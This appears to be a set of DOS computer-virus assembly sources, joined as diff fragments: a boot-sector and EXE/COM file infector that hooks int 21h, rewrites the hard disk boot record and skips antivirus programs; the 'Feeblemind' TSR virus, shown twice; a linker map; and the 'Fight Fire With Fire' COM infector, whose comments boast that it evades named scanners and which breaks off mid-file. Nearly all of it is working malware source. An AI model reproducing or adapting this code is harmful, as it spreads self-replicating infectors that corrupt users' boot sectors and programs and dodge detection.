pop ds
|
||||
lea si,OldTimerAddr
|
||||
mov di,1Ch*4
|
||||
cld
|
||||
movsw ; Return old timer procedure
|
||||
movsw
|
||||
ExitTimer:
|
||||
pop si di bx ax es ds
|
||||
iret
|
||||
;-------------------------------------------------------------
|
||||
InstallDosManager:
|
||||
cmp ax,4B00h
|
||||
jz FullInstall
|
||||
;
|
||||
OldDosManager:
|
||||
db 0EAh
|
||||
Ofs21h dw 0
|
||||
Seg21h dw 0
|
||||
;
|
||||
;---------------------------------------------------
|
||||
i21h:
|
||||
pushf
|
||||
call dword ptr cs:[offset Ofs21h]
|
||||
ret
|
||||
;---------------------------------------------------
|
||||
FullInstall:
|
||||
push ax bx cx dx si di es ds
|
||||
;
|
||||
push cs
|
||||
pop ds
|
||||
;
|
||||
mov ah,48h
|
||||
mov bx,4096/16
|
||||
int 21h ; AX = Segment of new area for virus
|
||||
jc NoInstalled
|
||||
;
|
||||
mov es,ax
|
||||
xor si,si
|
||||
mov di,si
|
||||
;
|
||||
cld
|
||||
mov cx,512
|
||||
mov bx,cx
|
||||
rep movsb
|
||||
;
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[01],0070h ; MSDOS segment
|
||||
;
|
||||
mov ds,cx
|
||||
;
|
||||
mov ax,0204h ; Read 4 sectors (2 kb)
|
||||
mov cx,0010 ; (virus body - without current part)
|
||||
mov dx,0080h
|
||||
int 13h
|
||||
;
|
||||
mov word ptr ds:[21h*4],offset VirusDosManager
|
||||
mov ds:[(21h*4)+2],es
|
||||
;
|
||||
call BEEP ;*****************************<<<<<<<<<<
|
||||
;
|
||||
NoInstalled:
|
||||
pop ds es di si dx cx bx ax
|
||||
jmp OldDosManager
|
||||
;-------------------------------------------------------------
|
||||
org 510
|
||||
db 55h,0AAh ; 'Uª'
|
||||
;-------------------------------------------------------------
|
||||
;/////////////////////////////////////////////////////////////
|
||||
; Start Dos TSR file infector.
|
||||
org 512
|
||||
;/////////////////////////////////////////////////////////////
|
||||
VirusDosManager:
|
||||
cmp ax,0FFAAh ; Our copy call us
|
||||
jnz LookNextFun
|
||||
stc ; CY=1
|
||||
retf 2
|
||||
LookNextFun:
|
||||
cmp ah,4Ch
|
||||
jnz LookRunFun
|
||||
jmp ExitProg
|
||||
LookRunFun:
|
||||
cmp ax,4B00h
|
||||
jnz LookCREATE
|
||||
jmp RunProg
|
||||
LookCREATE:
|
||||
cmp cs:Fhandle,0 ; <>0 then file processed!!!
|
||||
jnz LookCloseOurFile
|
||||
;
|
||||
cmp ah,3Ch ; Create
|
||||
jz OurFun
|
||||
cmp ah,5Bh ; Create
|
||||
jz OurFun
|
||||
ExitVDM:
|
||||
jmp OldDosManager
|
||||
;-----------------------------------------------------
|
||||
LookCloseOurFile:
|
||||
cmp ah,3Eh ; Close
|
||||
jnz ExitVDM
|
||||
cmp cs:Fhandle,bx
|
||||
jnz ExitVDM
|
||||
jmp InfectClosedFile
|
||||
;-----------------------------------------------------
|
||||
OurFun:
|
||||
push ax si
|
||||
;
|
||||
cld
|
||||
mov si,dx
|
||||
LookNULL:
|
||||
lodsb
|
||||
cmp al,'.'
|
||||
jnz LookNULL
|
||||
lodsw
|
||||
;
|
||||
or ax,2020h ; ' '
|
||||
cmp ax,'xe' ; EXe
|
||||
jnz LookCOM
|
||||
lodsb
|
||||
or al,20h
|
||||
cmp al,'e' ; exE
|
||||
jnz NoOurEXT
|
||||
mov Ftype,1
|
||||
jmp GetHandle
|
||||
LookCOM:
|
||||
cmp ax,'oc' ; COm
|
||||
jnz NoOurEXT
|
||||
lodsb
|
||||
or al,20h
|
||||
cmp al,'m' ; coM
|
||||
jnz NoOurEXT
|
||||
mov Ftype,2
|
||||
GetHandle:
|
||||
mov si,dx
|
||||
push bp
|
||||
mov bp,dx
|
||||
LookTild:
|
||||
lodsb
|
||||
cmp al,0
|
||||
jz LookFileName
|
||||
cmp al,'\'
|
||||
jnz LookTild
|
||||
mov bp,si
|
||||
jmp LookTild
|
||||
LookFileName:
|
||||
mov si,bp
|
||||
pop bp
|
||||
lodsw
|
||||
or ax,2020h
|
||||
cmp ax,'rd' ; DRweb
|
||||
jz NoOurEXT
|
||||
cmp ax,'ia' ; AIdstest
|
||||
jz NoOurEXT
|
||||
cmp ax,'da' ; ADinf
|
||||
jz NoOurEXT
|
||||
cmp ax,'sm' ; MScan
|
||||
jz NoOurEXT
|
||||
;
|
||||
pop si ax
|
||||
call i21h ; int 21h
|
||||
mov cs:Fhandle,ax
|
||||
jnc e1
|
||||
mov cs:Fhandle,0
|
||||
e1:
|
||||
retf 2
|
||||
NoOurEXT:
|
||||
pop si ax
|
||||
jmp ExitVDM
|
||||
;---------------------------------------------------------
|
||||
bootCX dw 0
|
||||
bootDX dw 0
|
||||
;---------------------------------------------------------
|
||||
InfectClosedFile:
|
||||
push ax bx cx dx es ds si di bp
|
||||
;
|
||||
push cs
|
||||
pop ds
|
||||
call InfectFile
|
||||
;
|
||||
pop bp di si ds es dx cx bx ax
|
||||
;
|
||||
jmp OldDosManager
|
||||
;---------------------------------------------------------
|
||||
;/////////////////////////////////////////////////////////
|
||||
;---------------------------------------------------------
|
||||
FileInstaller:
|
||||
call $+3
|
||||
pop bp
|
||||
sub bp,03
|
||||
mov ax,0FFAAh
|
||||
int 21h
|
||||
jc ExitFileInstall
|
||||
cmp al,0
|
||||
jnz ExitFileInstall
|
||||
push es ds
|
||||
call InstallVirus_to_PC
|
||||
pop ds es
|
||||
ExitFileInstall:
|
||||
|
||||
cmp word ptr cs:[bp][offset OriginBytes-offset FileInstaller],'ZM'
|
||||
jz L_exe
|
||||
|
||||
;-Loaded from com file.-------------------------------------------
|
||||
mov di,100h
|
||||
lea si,[bp][offset OriginBytes-offset FileInstaller]
|
||||
push di
|
||||
movsw
|
||||
movsw
|
||||
movsb
|
||||
ret ; Go to infected com program.
|
||||
;----------------------------
|
||||
OriginBytes Label Byte
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
db 20h dup (90h)
|
||||
;----------------------------
|
||||
;-Loaded from exe file.--------------------------------------------
|
||||
L_exe:
|
||||
mov ax,es
|
||||
add ax,10h
|
||||
push ax
|
||||
add cs:[bp][offset CS_file-offset FileInstaller],ax
|
||||
pop ax
|
||||
SS_file: add ax,0000
|
||||
cli
|
||||
mov ss,ax
|
||||
SP_file: mov sp,0000
|
||||
sti
|
||||
db 0eah
|
||||
IP_file dw ?
|
||||
CS_file dw ?
|
||||
;-------------------------------------------------------------------
|
||||
InstallVirus_to_PC:
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,0B900h ; 3 page of videobuffer
|
||||
mov es,ax
|
||||
xor bx,bx
|
||||
;
|
||||
mov ax,0201h ; READ MBR
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h ; ES:BX = B900:0000h
|
||||
;
|
||||
jnc ReadOk
|
||||
OurBoot:
|
||||
ret
|
||||
ReadOk:
|
||||
; cmp byte ptr es:[bx+01BEh],80h ; Bootable disk ?
|
||||
mov cx,es:[bx+01C0h] ; sect,cyl
|
||||
mov dh,es:[bx+01BFh] ; head
|
||||
;
|
||||
|
||||
mov ds:[bp][(offset FIend-offset FileInstaller)+offset bootCX],cx
|
||||
mov ds:[bp][(offset FIend-offset FileInstaller)+offset bootDX],dx
|
||||
|
||||
;
|
||||
mov ax,0201h ; READ BOOT on drive C:\
|
||||
int 13h
|
||||
cmp word ptr es:[bx+offset BootCode],9090h
|
||||
jz OurBoot ; Already infected!!!
|
||||
;
|
||||
push cx dx
|
||||
;
|
||||
mov ax,0301h ; WRITE OLD BOOT to unuseble section
|
||||
mov dx,80h
|
||||
mov cx,9
|
||||
int 13h
|
||||
;
|
||||
push es ds
|
||||
pop es ds
|
||||
cld
|
||||
mov si,offset BootData
|
||||
lea di,[bp+si][offset FIend-offset FileInstaller]
|
||||
mov cx,40h
|
||||
rep movsb ; Copy origin Boot Data to Virus Boot Data
|
||||
;
|
||||
push cs
|
||||
pop ds
|
||||
lea bx,[bp][offset FIend-offset FileInstaller+512]
|
||||
;
|
||||
mov ax,0304h ; WRITE VIRUS BODY
|
||||
mov cx,10
|
||||
int 13h
|
||||
;
|
||||
sub bx,512
|
||||
mov ax,0301h ; WRITE VIRUS BOOT SECTOR in system area
|
||||
pop dx cx
|
||||
int 13h
|
||||
ret
|
||||
;---------------------------------------------------------
|
||||
FIend label byte
|
||||
;---------------------------------------------------------
|
||||
;/////////////////////////////////////////////////////////
|
||||
;---------------------------------------------------------
|
||||
; ENTER : BX = File Handle
|
||||
; EXIT : File not CLOSED!!! , Fhandle = 0
|
||||
InfectFile:
|
||||
call diskryptor
|
||||
mov ah,3fh
|
||||
mov cx,18h
|
||||
mov dx,offset OriginBytes
|
||||
mov si,dx
|
||||
int 21h
|
||||
jc _1
|
||||
cmp word ptr ds:[offset OriginBytes],'ZM'
|
||||
jz _EXE
|
||||
cmp word ptr ds:[offset OriginBytes+3],'::'
|
||||
jz _1
|
||||
;-Infect .COM --------------------------------
|
||||
cmp bp,(65500-(512*Len))
|
||||
ja _1 ;„«¨ ¡®«ìè¥ ¤®¯ãá⨬®©.
|
||||
mov es:[di+21],bp ;F.p. = end file.
|
||||
;-Make JMP------------------------------------
|
||||
sub bp,03
|
||||
mov ds:[offset jmp_n],bp
|
||||
call WriteBody
|
||||
jc _1b
|
||||
mov cx,05h
|
||||
mov dx,offset new_3_byte
|
||||
ExitWrite:
|
||||
mov ah,40h
|
||||
int 21h
|
||||
_1b: jmp exit_date
|
||||
_1: ret
|
||||
;-Infect .EXE ---------------------------------
|
||||
_EXE:
|
||||
cmp ds:[si+12h],'::' ; Already infected ?
|
||||
jz _1 ; Yes!
|
||||
mov ax,ds:[si+4] ; Pages (512b).
|
||||
dec ax
|
||||
mov cx,512
|
||||
mul cx
|
||||
add ax,[si+2] ; DX:AX = File len from header.
|
||||
cmp ax,bp ; Real file len = dx:ax ?
|
||||
jnz _1 ; No - this is overlay.
|
||||
cmp es:[di+19],dx ; ********************
|
||||
jnz _1 ; No - this is overlay.
|
||||
;-----
|
||||
mov es:[di+21],ax ; F.p.= end file.
|
||||
mov es:[di+23],dx
|
||||
;-Get header.-----------------------------------
|
||||
mov [si+12h],'::'
|
||||
mov ax,[si+14h]
|
||||
mov ds:[offset IP_file],ax
|
||||
mov ax,[si+16h]
|
||||
mov ds:[offset CS_file],ax
|
||||
mov ax,[si+10h]
|
||||
mov word ptr ds:[offset SP_file+1],ax
|
||||
mov ax,[si+0eh]
|
||||
mov word ptr ds:[offset SS_file+1],ax
|
||||
;-----------------------------------------------
|
||||
xchg ax,bp
|
||||
mov cx,10h
|
||||
div cx
|
||||
sub ax,[si+8]
|
||||
sbb dx,0
|
||||
mov [si+16h],ax ; ReloCS.
|
||||
mov [si+0eh],ax ; ReloSS
|
||||
mov [si+14h],dx ; ExeIP.
|
||||
mov [si+10h],4096 ; ExeSP
|
||||
;-Correcting file len in header.----------------
|
||||
add word ptr [si+4],len ; Newlen=OldLen+(512*len)
|
||||
;-Write virus in file.--------------------------
|
||||
call WriteBody
|
||||
jc exit_date
|
||||
;-Write new header.-----------------------------
|
||||
mov cx,18h
|
||||
mov ah,40h
|
||||
mov dx,offset OriginBytes
|
||||
int 21h
|
||||
exit_date:
|
||||
mov ax,5701h
|
||||
mov cx,es:[di+13]
|
||||
mov dx,es:[di+15]
|
||||
int 21h
|
||||
ret
|
||||
;----------------------------------------------
|
||||
WriteBody proc
|
||||
mov Fhandle,0
|
||||
mov dx,offset FileInstaller
|
||||
mov cx,(offset FIend - offset FileInstaller)
|
||||
mov ah,40h
|
||||
int 21h
|
||||
xor dx,dx
|
||||
mov cx,512*len
|
||||
mov ah,40h
|
||||
int 21h
|
||||
mov es:[di+21],dx ; F.p.= start file.
|
||||
mov es:[di+23],dx ;
|
||||
ret
|
||||
WriteBody endp
|
||||
;----------------------------------------------
|
||||
diskryptor proc
|
||||
mov ax,1220h
|
||||
push bx
|
||||
int 2fh
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2fh
|
||||
pop bx
|
||||
mov byte ptr es:[di+2],02 ; mode = r/w.
|
||||
xor dx,dx
|
||||
mov es:[di+21],dx ; F.p.= end file.
|
||||
mov es:[di+23],dx ; F.p.= end file.
|
||||
mov bp,es:[di+17]
|
||||
ret
|
||||
diskryptor endp
|
||||
;-----------------------------------------------
|
||||
Ftype db 0 ; 1 - EXE ; 2 - COM
|
||||
Fhandle dw 0 ; Handle of this file or 0000 for NoFile
|
||||
;-----------------------------------------------
|
||||
new_3_byte db 0e9h
|
||||
jmp_n dw 0000
|
||||
db '::'
|
||||
;---------------------------------------------------------
|
||||
ExitProg:
|
||||
push ax bx cx dx es cs
|
||||
pop es
|
||||
;
|
||||
mov ax,0301h
|
||||
mov cx,cs:bootCX
|
||||
mov dx,cs:bootDX
|
||||
xor bx,bx
|
||||
int 13h
|
||||
;
|
||||
pop es dx cx bx ax
|
||||
jmp ExitVDM
|
||||
;---------------------------------------------------------
|
||||
RunProg:
|
||||
push ax bx cx dx es cs
|
||||
pop es
|
||||
;
|
||||
mov ax,0201h ; READ ORIGIN BOOT
|
||||
mov cx,0009
|
||||
mov dx,0080h
|
||||
lea bx,Buffer
|
||||
int 13h
|
||||
;
|
||||
mov ax,0301h ; WRITE ORIGIN BOOT TO ¥£® ORIGIN PLACE
|
||||
mov cx,cs:bootCX
|
||||
mov dx,cs:bootDX
|
||||
int 13h
|
||||
;
|
||||
pop es dx cx bx ax
|
||||
jmp ExitVDM
|
||||
;---------------------------------------------------------
|
||||
;/////////////////////////////////////////////////////////
|
||||
;---------------------------------------------------------
|
||||
db '(c) Light General.Kiev.KIUCA.1996.NOT for free use.',0
|
||||
db '(<28>®¡ª ï ¯®¯ë⪠®¯ãáâ¨âì €¤¨ä...€¤®«ìä...‰®á¨ä...ƒ“‹€ƒ...A€aa )',0
|
||||
;---------------------------------------------------------
|
||||
Header db 20h dup (?)
|
||||
Buffer db 512 dup (?)
|
||||
;----------------------------------------------------------------------
|
||||
Virus1stInstaller:
|
||||
mov ax,offset FIend-offset FileInstaller
|
||||
xor bp,bp
|
||||
sub bp,ax
|
||||
call InstallVirus_to_PC
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
;-----------------------------------------------------------------------
|
||||
.stack 1024
|
||||
|
||||
end Virus1stInstaller
|
|
@ -0,0 +1,9 @@
|
|||
|
||||
Start Stop Length Name Class
|
||||
|
||||
00000H 007B4H 007B5H _TEXT CODE
|
||||
007B6H 007B6H 00000H _DATA DATA
|
||||
007C0H 00BBFH 00400H STACK STACK
|
||||
|
||||
Program entry point at 0000:07A6
|
||||
|
|
@ -0,0 +1,120 @@
|
|||
;
|
||||
; Feeblemind
|
||||
;
|
||||
Start: Jmp Install
|
||||
|
||||
Old21 Dd 0
|
||||
|
||||
Org21 Dd 0
|
||||
|
||||
Inc10: Add Ah,10h
|
||||
Eoi: Jmp Dword Ptr Cs:[Org21]
|
||||
|
||||
New21: Sub Ah,10h
|
||||
Cmp Ax,3b00h
|
||||
Jne Inc10
|
||||
Push Ax
|
||||
Push Bx
|
||||
Push Cx
|
||||
Push Dx
|
||||
Push Ds
|
||||
Push Es
|
||||
Push Si
|
||||
Push Di
|
||||
Mov Ax,3d02h
|
||||
Pushf
|
||||
Call Dword ptr Cs:[Old21]
|
||||
Xchg Ax,Bx
|
||||
Mov Ah,30h
|
||||
Add Ah,10h
|
||||
Mov Cx,VLen
|
||||
Lea Dx,Start
|
||||
Mov Ds,Cs
|
||||
Pushf
|
||||
Call Dword ptr Cs:[Old21]
|
||||
Mov Ah,3eh
|
||||
Pushf
|
||||
Call Dword Ptr Cs:[old21]
|
||||
Pop Di
|
||||
Pop Si
|
||||
Pop Es
|
||||
Pop Ds
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
Pop Bx
|
||||
Pop Ax
|
||||
Jmp EOI
|
||||
|
||||
Db '[Feeblemind]'
|
||||
|
||||
Install: Mov Ax,3501h
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:[Old1],Bx
|
||||
Mov Word Ptr Cs:[Old1][2],Es
|
||||
Mov Ax,2501h
|
||||
Mov Ds,Cs
|
||||
Lea Dx,New1
|
||||
Int 21h
|
||||
|
||||
Cli
|
||||
Pushf
|
||||
Pop Ax
|
||||
Or Ah,1
|
||||
Push Ax
|
||||
Popf
|
||||
Sti
|
||||
|
||||
Mov Ah,30h
|
||||
Int 21h
|
||||
|
||||
Cli
|
||||
Pushf
|
||||
Pop Ax
|
||||
And Ah,0feh
|
||||
Push Ax
|
||||
Popf
|
||||
Sti
|
||||
|
||||
Mov Ds,Word ptr Cs:[Old1][2]
|
||||
Mov Dx,Word ptr Cs:[Old1]
|
||||
Mov Ax,2501h
|
||||
Int 21h
|
||||
|
||||
Mov Ax,1521h
|
||||
Add Ah,20h
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:[Org21],Bx
|
||||
Mov Word Ptr Cs:[Org21][2],Es
|
||||
|
||||
Mov Ax,1521h
|
||||
Add Ah,10h
|
||||
Mov Ds,Cs
|
||||
Lea Dx,New21
|
||||
Int 21h
|
||||
Lea Dx,EndByte
|
||||
Int 27h
|
||||
|
||||
Old1 Dd 0
|
||||
|
||||
New1: Push Bp
|
||||
Mov Bp,Sp
|
||||
|
||||
Cmp Word Ptr Ss:[Bp][4],116h
|
||||
Jne Einde
|
||||
Push Ax
|
||||
Mov Ax,Ss:[Bp][4]
|
||||
Mov Word Ptr Cs:[Old21][2],Ax
|
||||
Mov Ax,Ss:[Bp][2]
|
||||
Mov Word Ptr Cs:[Old21],Ax
|
||||
And Word Ptr Ss:[Bp][6],0fffeh
|
||||
Pop Ax
|
||||
Einde: Pop Bp
|
||||
Iret
|
||||
|
||||
Endbyte Db 0
|
||||
Vlen Equ $-Start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
@ -0,0 +1,120 @@
|
|||
;
|
||||
; Feeblemind
|
||||
;
|
||||
Start: Jmp Install
|
||||
|
||||
Old21 Dd 0
|
||||
|
||||
Org21 Dd 0
|
||||
|
||||
Inc10: Add Ah,10h
|
||||
Eoi: Jmp Dword Ptr Cs:[Org21]
|
||||
|
||||
New21: Sub Ah,10h
|
||||
Cmp Ax,3b00h
|
||||
Jne Inc10
|
||||
Push Ax
|
||||
Push Bx
|
||||
Push Cx
|
||||
Push Dx
|
||||
Push Ds
|
||||
Push Es
|
||||
Push Si
|
||||
Push Di
|
||||
Mov Ax,3d02h
|
||||
Pushf
|
||||
Call Dword ptr Cs:[Old21]
|
||||
Xchg Ax,Bx
|
||||
Mov Ah,30h
|
||||
Add Ah,10h
|
||||
Mov Cx,VLen
|
||||
Lea Dx,Start
|
||||
Mov Ds,Cs
|
||||
Pushf
|
||||
Call Dword ptr Cs:[Old21]
|
||||
Mov Ah,3eh
|
||||
Pushf
|
||||
Call Dword Ptr Cs:[old21]
|
||||
Pop Di
|
||||
Pop Si
|
||||
Pop Es
|
||||
Pop Ds
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
Pop Bx
|
||||
Pop Ax
|
||||
Jmp EOI
|
||||
|
||||
Db '[Feeblemind]'
|
||||
|
||||
Install: Mov Ax,3501h
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:[Old1],Bx
|
||||
Mov Word Ptr Cs:[Old1][2],Es
|
||||
Mov Ax,2501h
|
||||
Mov Ds,Cs
|
||||
Lea Dx,New1
|
||||
Int 21h
|
||||
|
||||
Cli
|
||||
Pushf
|
||||
Pop Ax
|
||||
Or Ah,1
|
||||
Push Ax
|
||||
Popf
|
||||
Sti
|
||||
|
||||
Mov Ah,30h
|
||||
Int 21h
|
||||
|
||||
Cli
|
||||
Pushf
|
||||
Pop Ax
|
||||
And Ah,0feh
|
||||
Push Ax
|
||||
Popf
|
||||
Sti
|
||||
|
||||
Mov Ds,Word ptr Cs:[Old1][2]
|
||||
Mov Dx,Word ptr Cs:[Old1]
|
||||
Mov Ax,2501h
|
||||
Int 21h
|
||||
|
||||
Mov Ax,1521h
|
||||
Add Ah,20h
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:[Org21],Bx
|
||||
Mov Word Ptr Cs:[Org21][2],Es
|
||||
|
||||
Mov Ax,1521h
|
||||
Add Ah,10h
|
||||
Mov Ds,Cs
|
||||
Lea Dx,New21
|
||||
Int 21h
|
||||
Lea Dx,EndByte
|
||||
Int 27h
|
||||
|
||||
Old1 Dd 0
|
||||
|
||||
New1: Push Bp
|
||||
Mov Bp,Sp
|
||||
|
||||
Cmp Word Ptr Ss:[Bp][4],116h
|
||||
Jne Einde
|
||||
Push Ax
|
||||
Mov Ax,Ss:[Bp][4]
|
||||
Mov Word Ptr Cs:[Old21][2],Ax
|
||||
Mov Ax,Ss:[Bp][2]
|
||||
Mov Word Ptr Cs:[Old21],Ax
|
||||
And Word Ptr Ss:[Bp][6],0fffeh
|
||||
Pop Ax
|
||||
Einde: Pop Bp
|
||||
Iret
|
||||
|
||||
Endbyte Db 0
|
||||
Vlen Equ $-Start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
@ -0,0 +1,256 @@
|
|||
; VirusName: Fight Fire With Fire
|
||||
; Country : Sweden
|
||||
; Author : Metal Militia / Immortal Riot
|
||||
; Date : 07-22-1993
|
||||
;
|
||||
; This is an mutation of 7th-son from 'Unknown'.
|
||||
; Many thanks to the scratch coder of 7th-son.
|
||||
;
|
||||
; We've tried this virus ourself, and it works just fine.
|
||||
; Non-overwriting, adds 473 to any comfile over 1701 bytes,
|
||||
; in current directory. No bugs have been reported.
|
||||
; Originally from the Netherlands, in 1991.
|
||||
;
|
||||
; This is the second real mutation of 7th-son.
|
||||
;
|
||||
; McAfee Scan v105 can't find it, and
|
||||
; S&S Toolkit 6.5 don't find it either.
|
||||
;
|
||||
; I haven't tried with scanners like Fprot/Tbscan,
|
||||
; but they will probably report some virus structure.
|
||||
;
|
||||
; Best Regards : [Metal Militia]
|
||||
; [The Unforgiven]
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||
|
||||
FILELEN equ quit - start
|
||||
MINTARGET equ 1701 ; MINIMUM bytes of file to infect
|
||||
MAXTARGET equ -(FILELEN+40h) ; MAX bytes of file to infect
|
||||
|
||||
org 100h
|
||||
|
||||
.RADIX 16
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Dummy program (infected)
|
||||
;****************************************************************************
|
||||
|
||||
begin: db 5Dh
|
||||
jmp start
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Begin of the virus
|
||||
;****************************************************************************
|
||||
|
||||
start: call start2
|
||||
start2: pop bp
|
||||
push cs
|
||||
sub bp,0103h
|
||||
|
||||
lea si,[bp+offset begbuf-4] ;restore begin of file
|
||||
mov di,0100h
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov ax,3300h ;get ctrl-break flag
|
||||
int 21
|
||||
push dx
|
||||
|
||||
xor dl,dl ;clear the flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
mov dx,offset ni24 - 4 ;set new int24 vector
|
||||
add dx,bp
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
lea dx,[bp+offset quit] ;set new DTA adres
|
||||
mov ah,1Ah
|
||||
int 21
|
||||
add dx,1Eh
|
||||
mov word ptr [bp+offset nameptr-4],dx
|
||||
|
||||
lea si,[bp+offset grandfather-4] ;check generation
|
||||
cmp [si],0808h
|
||||
jne verder
|
||||
|
||||
lea dx,[bp+offset sontxt-4] ;9th son of a 9th son!
|
||||
mov ah,09h
|
||||
int 21
|
||||
|
||||
verder: mov ax,[si] ;update generations
|
||||
xchg ah,al
|
||||
xor al,al
|
||||
mov [si],ax
|
||||
|
||||
lea dx,[bp+offset filename-4] ;find first COM-file
|
||||
xor cx,cx
|
||||
mov ah,4Eh
|
||||
int 21
|
||||
|
||||
infloop: mov dx,word ptr [bp+offset nameptr-4]
|
||||
call infect
|
||||
|
||||
mov ah,4Fh ;find next file
|
||||
int 21
|
||||
jnc infloop
|
||||
|
||||
pop ds ;restore int24 vector
|
||||
pop dx
|
||||
mov ax,2524h
|
||||
int 21
|
||||
|
||||
pop dx ;restore ctrl-break flag
|
||||
mov ax,3301h
|
||||
int 21
|
||||
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
mov ax,0100h ;put old start-adres on stack
|
||||
push ax
|
||||
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov ax,4300h ;ask attributes
|
||||
int 21
|
||||
push cx
|
||||
|
||||
xor cx,cx ;clear flags
|
||||
call setattr
|
||||
jc return1
|
||||
|
||||
mov ax,3D02h ;open the file
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax
|
||||
|
||||
mov ax,5700h ;get file date & time
|
||||
int 21
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov cx,4 ;read begin of file
|
||||
lea dx,[bp+offset begbuf-4]
|
||||
mov ah,3fh
|
||||
int 21
|
||||
|
||||
mov al,byte ptr [bp+begbuf-4] ;already infected?
|
||||
cmp al,5Dh
|
||||
je return2
|
||||
cmp al,5Ah ;or a weird EXE?
|
||||
je return2
|
||||
|
||||
call endptr ;get file-length
|
||||
|
||||
cmp ax,MAXTARGET ;check length of file
|
||||
jnb return2
|
||||
cmp ax,MINTARGET
|
||||
jbe return2
|
||||
|
||||
push ax
|
||||
mov cx,FILELEN ;write program to end of file
|
||||
lea dx,[bp+offset start-4]
|
||||
mov ah,40h
|
||||
int 21
|
||||
cmp ax,cx ;are all bytes written?
|
||||
pop ax
|
||||
jnz return2
|
||||
|
||||
sub ax,4 ;calculate new start-adres
|
||||
mov word ptr [bp+newbeg-2],ax
|
||||
|
||||
call beginptr ;write new begin of file
|
||||
mov cx,4
|
||||
lea dx,[bp+offset newbeg-4]
|
||||
mov ah,40h
|
||||
int 21
|
||||
|
||||
inc byte ptr [si] ;number of next son
|
||||
|
||||
return2: pop dx ;restore file date & time
|
||||
pop cx
|
||||
mov ax,5701h
|
||||
int 21
|
||||
|
||||
mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
return1: pop cx ;restore file-attribute
|
||||
; call setattr
|
||||
|
||||
; ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Changes file-attributes
|
||||
;****************************************************************************
|
||||
|
||||
setattr: mov dx,word ptr [bp+offset nameptr-4]
|
||||
mov ax,4301h
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Subroutines for file-pointer
|
||||
;****************************************************************************
|
||||
|
||||
beginptr: mov ax,4200h ;go to begin of file
|
||||
jmp short ptrvrdr
|
||||
|
||||
endptr: mov ax,4202h ;go to end of file
|
||||
ptrvrdr: xor cx,cx
|
||||
xor dx,dx
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Data
|
||||
;****************************************************************************
|
||||
|
||||
begbuf db 0CDh, 20h, 0, 0
|
||||
newbeg db 5Dh, 0E9h, 0, 0
|
||||
nameptr dw ?
|
||||
sontxt db 'Fight Fire With Fire...',0Dh, 0Ah, '$' ;printed after
|
||||
grandfather db 0 ;XX infections
|
||||
father db 0
|
||||
filename db '*.COM',0 ; File(s) to infect
|
||||
db 'Soon to fill our lungs the hot winds of death '
|
||||
